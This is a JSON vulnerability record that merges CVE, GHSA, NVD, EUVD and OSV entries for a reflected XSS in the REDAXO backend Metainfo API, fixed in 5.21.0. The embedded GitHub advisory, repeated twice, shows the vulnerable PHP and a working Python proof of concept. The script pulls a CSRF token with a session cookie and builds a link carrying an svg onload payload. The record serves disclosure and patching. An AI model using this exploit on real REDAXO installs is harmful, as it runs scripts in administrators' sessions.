{"id":"CVE-2026-117537","aliases":["EUVD-2026-110802","GHSA-76pp-mqrq-h425","GHSA-m662-8jrj-cw6v"],"status":"published","title":"REDAXO before 5.21.0 Reflected XSS via Metainfo API type Parameter","description":"REDAXO before 5.21.0 contains a reflected cross-site scripting vulnerability that allows authenticated attackers to inject scripts via the type parameter of the metainfo_default_fields_create API. Attackers can craft a link with a valid CSRF token and HTML payload that rex_view::message() renders unescaped, executing scripts in a victim's backend session.","severity":{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00179,"percentile":0.07527,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-04-10T19:40:23Z","modified":"2026-10-29T02:48:26Z","fixes":[{"ecosystem":"Packagist","package":"redaxo/source","fixed_in":["5.21.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"redaxo/source","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.21.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"redaxo/source","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.21.0"}]}],"versions":["5.10.0","5.10.0-beta1","5.10.0-beta2","5.10.1","5.11.0","5.11.0-beta1","5.11.1","5.11.2","5.12.0","5.12.0-beta1","5.12.0-beta2","5.12.0-beta3","5.12.1","5.13.0","5.13.0-beta1","5.13.0-beta2","5.13.1","5.13.2","5.13.3","5.14.0","5.14.0-beta1","5.14.0-beta2","5.14.1","5.14.2","5.14.3","5.15.0","5.15.0-beta1","5.15.1","5.16.0","5.16.0-beta1","5.16.1","5.17.0","5.17.1","5.18.0","5.18.1","5.18.2","5.18.3","5.19.0","5.20.0","5.20.1","5.20.2","5.21.0-beta1"]}],"products":[{"vendor":"opnsense","product":"core"},{"vendor":"redaxo","product":"core"}],"references":[{"url":"https://github.com/redaxo/core/security/advisories/GHSA-m662-8jrj-cw6v","tags":["vendor-advisory","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/redaxo-before-5.21.0-reflected-xss-via-metainfo-api-type-parameter","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-117537","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-76pp-mqrq-h425"},{"url":"https://github.com/redaxo/core/releases/tag/5.21.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-m662-8jrj-cw6v"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/117xxx/CVE-2026-117537.json","tags":["advisory"]},{"url":"https://github.com/redaxo/core","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-117537","title":"REDAXO before 5.21.0 Reflected XSS via Metainfo API type Parameter","description":"REDAXO before 5.21.0 contains a reflected cross-site scripting vulnerability that allows authenticated attackers to inject scripts via the type parameter of the metainfo_default_fields_create API. Attackers can craft a link with a valid CSRF token and HTML payload that rex_view::message() renders unescaped, executing scripts in a victim's backend session.","status":"published","published":"2026-10-27T10:59:32.121Z","modified":"2026-10-27T14:12:21.902Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low","assessor":"cna"},{"version":"3.1","score":4.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:13.272106Z"}],"euvd":[{"id":"EUVD-2026-110802","description":"REDAXO before 5.21.0 contains a reflected cross-site scripting vulnerability that allows authenticated attackers to inject scripts via the type parameter of the metainfo_default_fields_create API. Attackers can craft a link with a valid CSRF token and HTML payload that rex_view::message() renders unescaped, executing scripts in a victim's backend session.","status":"published","published":"2026-10-27T10:59:32Z","modified":"2026-10-27T14:12:21Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"updated_at":"2026-11-02T16:59:23.601588Z"}],"ghsa":[{"id":"GHSA-76pp-mqrq-h425","title":"REDAXO before 5.21.0 contains a reflected cross-site scripting vulnerability that allows...","description":"REDAXO before 5.21.0 contains a reflected cross-site scripting vulnerability that allows authenticated attackers to inject scripts via the type parameter of the metainfo_default_fields_create API. Attackers can craft a link with a valid CSRF token and HTML payload that rex_view::message() renders unescaped, executing scripts in a victim's backend session.","status":"published","published":"2026-10-27T12:30:52Z","modified":"2026-10-27T12:30:53Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low"},{"version":"3.1","score":4.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:14:28.758422Z"},{"id":"GHSA-m662-8jrj-cw6v","title":"REDAXO has reflected XSS in backend Metainfo API via type parameter (CSRF token required)","description":"### Summary\n\nA **reflected XSS** vulnerability has been identified in the REDAXO backend. The `type` parameter is concatenated into an API error message and rendered without HTML escaping.\n\n---\n\n### Details\n\n**Root cause**  \nUser input `type` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.\n\n**Vulnerable code (`redaxo/src/addons/metainfo/lib/handler/api_default_fields.php`) :**\n```php\n$type = rex_get('type', 'string');\nthrow new rex_api_exception(sprintf('metainfo type \"%s\" does not have default field.', $type));\n```\n\n**Sink (`redaxo/src/core/lib/view.php`) :**\n```php\nreturn '\u003cdiv class=\"' . $cssClassMessage . '\"\u003e' . $message . '\u003c/div\u003e';\n```\n\n**Data flow source -\u003e sink**\n- Source : `type` (GET)\n- Propagation : concatenated into the exception message\n- Sink : rendered via `rex_view::error()` -\u003e `rex_view::message()` without escaping\n\n**Authentication required :** yes (backend session)\n\n---\n\n### PoC -  exploit\n\n```python\n#!/usr/bin/env python3\nimport re\nimport urllib.parse\nimport requests\n\nTARGET_URL = \"http://poc.local/\"\nBACKEND_PATH = \"redaxo/index.php\"\nSESSION_ID = \"xxxxxxxxxxxxxxxxxxxxx\"\nVERIFY_SSL = False\nTIMEOUT = 15\n\nPAYLOAD = '\\\"\u003e\u003csvg/onload=alert(\"pwned\")\u003e'\n\n\ndef build_backend_url() -\u003e str:\n    base = TARGET_URL.rstrip(\"/\")\n    return f\"{base}/{BACKEND_PATH.lstrip('/')}\"\n\n\ndef extract_api_csrf(html_text: str) -\u003e str:\n    m = re.search(r'rex-api-call=metainfo_default_fields_create[^\"\\']+', html_text)\n    if not m:\n        raise RuntimeError(\"Could not find the metainfo_default_fields_create API link in the page HTML.\")\n    fragment = m.group(0).replace(\"\u0026amp;\", \"\u0026\")\n    token_match = re.search(r\"_csrf_token=([^\u0026]+)\", fragment)\n    if not token_match:\n        raise RuntimeError(\"CSRF token for metainfo_default_fields_create was not found in the extracted link.\")\n    return token_match.group(1)\n\ndef set_session_cookie(session: requests.Session) -\u003e None:\n    parsed = urllib.parse.urlparse(TARGET_URL)\n    if parsed.hostname:\n        session.cookies.set(\"PHPSESSID\", SESSION_ID, domain=parsed.hostname, path=\"/\")\n\n\ndef main() -\u003e None:\n    backend_url = build_backend_url()\n\n    s = requests.Session()\n    set_session_cookie(s)\n\n    # Admin backend session required\n    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)\n    if \"rex-page-login\" in r0.text or \"rex_user_login\" in r0.text:\n        print(\"[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.\")\n        return\n\n    r = s.get(backend_url, params={\"page\": \"metainfo/articles\"}, timeout=TIMEOUT, verify=VERIFY_SSL)\n    if r.status_code != 200:\n        print(f\"[!] Failed to access metainfo page (HTTP {r.status_code}).\")\n        return\n\n    api_token = extract_api_csrf(r.text)\n\n    params = {\n        \"page\": \"metainfo/articles\",\n        \"rex-api-call\": \"metainfo_default_fields_create\",\n        \"type\": PAYLOAD,\n        \"_csrf_token\": api_token,\n    }\n\n    exploit_url = f\"{backend_url}?{urllib.parse.urlencode(params)}\"\n    print(exploit_url)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\nThe script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.\n\n---\n\n### Impact\n\n- **Confidentiality :** Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.\n- **Integrity :** Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.\n- **Availability :** Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.\n\n### Video \n\nhttps://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83","status":"published","published":"2026-04-10T19:40:23Z","modified":"2026-04-10T19:40:25Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:52.102227Z"}],"nvd":[{"id":"CVE-2026-117537","description":"REDAXO before 5.21.0 contains a reflected cross-site scripting vulnerability that allows authenticated attackers to inject scripts via the type parameter of the metainfo_default_fields_create API. Attackers can craft a link with a valid CSRF token and HTML payload that rex_view::message() renders unescaped, executing scripts in a victim's backend session.","status":"published","published":"2026-10-27T11:17:34.343Z","modified":"2026-10-27T15:05:24.45Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"},{"version":"3.1","score":4.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:13:03.746397Z"}],"osv":[{"id":"CVE-2026-117537","title":"REDAXO before 5.21.0 Reflected XSS via Metainfo API type Parameter","description":"REDAXO before 5.21.0 contains a reflected cross-site scripting vulnerability that allows authenticated attackers to inject scripts via the type parameter of the metainfo_default_fields_create API. Attackers can craft a link with a valid CSRF token and HTML payload that rex_view::message() renders unescaped, executing scripts in a victim's backend session.","status":"published","published":"2026-10-27T10:59:32.121Z","modified":"2026-10-29T02:48:26.589847919Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:57.008854Z"},{"id":"GHSA-m662-8jrj-cw6v","title":"REDAXO has reflected XSS in backend Metainfo API via type parameter (CSRF token required)","description":"### Summary\n\nA **reflected XSS** vulnerability has been identified in the REDAXO backend. The `type` parameter is concatenated into an API error message and rendered without HTML escaping.\n\n---\n\n### Details\n\n**Root cause**  \nUser input `type` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.\n\n**Vulnerable code (`redaxo/src/addons/metainfo/lib/handler/api_default_fields.php`) :**\n```php\n$type = rex_get('type', 'string');\nthrow new rex_api_exception(sprintf('metainfo type \"%s\" does not have default field.', $type));\n```\n\n**Sink (`redaxo/src/core/lib/view.php`) :**\n```php\nreturn '\u003cdiv class=\"' . $cssClassMessage . '\"\u003e' . $message . '\u003c/div\u003e';\n```\n\n**Data flow source -\u003e sink**\n- Source : `type` (GET)\n- Propagation : concatenated into the exception message\n- Sink : rendered via `rex_view::error()` -\u003e `rex_view::message()` without escaping\n\n**Authentication required :** yes (backend session)\n\n---\n\n### PoC -  exploit\n\n```python\n#!/usr/bin/env python3\nimport re\nimport urllib.parse\nimport requests\n\nTARGET_URL = \"http://poc.local/\"\nBACKEND_PATH = \"redaxo/index.php\"\nSESSION_ID = \"xxxxxxxxxxxxxxxxxxxxx\"\nVERIFY_SSL = False\nTIMEOUT = 15\n\nPAYLOAD = '\\\"\u003e\u003csvg/onload=alert(\"pwned\")\u003e'\n\n\ndef build_backend_url() -\u003e str:\n    base = TARGET_URL.rstrip(\"/\")\n    return f\"{base}/{BACKEND_PATH.lstrip('/')}\"\n\n\ndef extract_api_csrf(html_text: str) -\u003e str:\n    m = re.search(r'rex-api-call=metainfo_default_fields_create[^\"\\']+', html_text)\n    if not m:\n        raise RuntimeError(\"Could not find the metainfo_default_fields_create API link in the page HTML.\")\n    fragment = m.group(0).replace(\"\u0026amp;\", \"\u0026\")\n    token_match = re.search(r\"_csrf_token=([^\u0026]+)\", fragment)\n    if not token_match:\n        raise RuntimeError(\"CSRF token for metainfo_default_fields_create was not found in the extracted link.\")\n    return token_match.group(1)\n\ndef set_session_cookie(session: requests.Session) -\u003e None:\n    parsed = urllib.parse.urlparse(TARGET_URL)\n    if parsed.hostname:\n        session.cookies.set(\"PHPSESSID\", SESSION_ID, domain=parsed.hostname, path=\"/\")\n\n\ndef main() -\u003e None:\n    backend_url = build_backend_url()\n\n    s = requests.Session()\n    set_session_cookie(s)\n\n    # Admin backend session required\n    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)\n    if \"rex-page-login\" in r0.text or \"rex_user_login\" in r0.text:\n        print(\"[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.\")\n        return\n\n    r = s.get(backend_url, params={\"page\": \"metainfo/articles\"}, timeout=TIMEOUT, verify=VERIFY_SSL)\n    if r.status_code != 200:\n        print(f\"[!] Failed to access metainfo page (HTTP {r.status_code}).\")\n        return\n\n    api_token = extract_api_csrf(r.text)\n\n    params = {\n        \"page\": \"metainfo/articles\",\n        \"rex-api-call\": \"metainfo_default_fields_create\",\n        \"type\": PAYLOAD,\n        \"_csrf_token\": api_token,\n    }\n\n    exploit_url = f\"{backend_url}?{urllib.parse.urlencode(params)}\"\n    print(exploit_url)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\nThe script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link.\n\n---\n\n### Impact\n\n- **Confidentiality :** Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.\n- **Integrity :** Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.\n- **Availability :** Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.\n\n### Video \n\nhttps://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83","status":"published","published":"2026-04-10T19:40:23Z","modified":"2026-10-28T02:56:08.119634181Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:51.463834Z"}]}}
